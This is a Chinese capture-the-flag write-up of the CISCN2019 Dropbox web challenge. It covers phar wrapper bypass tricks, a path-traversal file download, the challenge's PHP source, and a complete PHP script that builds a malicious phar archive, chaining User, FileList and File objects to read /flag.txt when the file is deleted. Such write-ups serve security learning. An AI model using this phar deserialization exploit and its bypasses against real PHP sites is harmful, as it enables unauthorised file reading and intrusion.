前置知识
利用 phar 拓展 php 反序列化漏洞攻击面
phar绕过
- compress.bzip2://phar://test.phar/test.txt
- compress.zlib://phar://test.phar/test.txt
- php://filter/resource=phar://test.phar/test.txt
phar协议可以直接读取gzip和bzip2压缩的phar文件
These archives can fully compressed in gzip
or bzip2
format and still be executed by the Phar extension.
创建压缩包
1 2 3 4 5 6 7
| <?php $zip = new ZipArchive(); $a = $zip->open("1.zip",ZipArchive::CREATE); $zip->addFromString("exp.phar",file_get_content('exp.phar')); $zip->close();
var_dump(file_get_contents("phar://1.zip/exp.phar"));
|
[CISCN2019 华北赛区 Day1 Web1]Dropbox
先注册登录一个账号
看到面板可以上传文件,随便上传一个图片试试
上传成功,具有下载和删除功能,同时发现下载功能可以下载任意文件
跨个目录就可以了
把这么些文档都下载下来
先看看class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143
| <?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User { public $db;
public function __construct() { global $db; $this->db = $db; }
public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; }
public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; }
public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; }
public function __destruct() { $this->db->close(); } }
class FileList { private $files; private $results; private $funcs;
public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path);
$key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]);
foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } }
public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } }
public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } }
class File { public $filename;
public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } }
public function name() { return basename($this->filename); }
public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; }
public function detele() { unlink($this->filename); }
public function close() { return file_get_contents($this->filename); } } ?>
|
看到class.php里的File类有这么一段
1 2 3
| public function close() { return file_get_contents($this->filename); }
|
如果能调用close()函数并且控制filename那么就能读取任意文件
注意到User的db变量在反序列化时可以调用close()函数,但是User()本身是没有close()函数的
此时就需要注意到FileList类中的__call魔术方法
1 2 3 4 5 6
| public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } }
|
$func作为被调用的函数名,可以是close,这个函数的作用是调用func函数并且存到this->result里面
这样的话我们的POP链就构造好了
File对象的filename是”/flag”或”/flag.txt”或其他的
FileList里的Files是含File对象的数组,因为__call调用的时候是遍历调用func,然后User的db再指向FileList对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
class User { public $db; }
class FileList { private $files; public function __construct(){ $this->files = array(new File()); }
}
class File { public $filename="/flag.txt";
} $a = new FileList(); $b = new User(); $b -> db = $a;
|
POP链构造好了,但是得想个办法让它显示出来,由于File的close返回结果不显示,所以得找一个地方让它打印出来
看到delete.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); }
if (!isset($_POST['filename'])) { die(); }
include "class.php";
chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
|
这里的detele()对应File对象的detele()
1 2 3
| public function detele() { unlink($this->filename); }
|
在前置知识里面存在unlink这个函数,会触发phar反序列化漏洞,启动我们的POP链
完整payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php
class User { public $db; }
class FileList { private $files; public function __construct(){ $this->files = array(new File()); }
}
class File { public $filename="/flag.txt";
} $a = new FileList(); $b = new User(); $b -> db = $a;
@unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($b); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
抓包改mime
删除文件,flag出来
总结
phar反序列化漏洞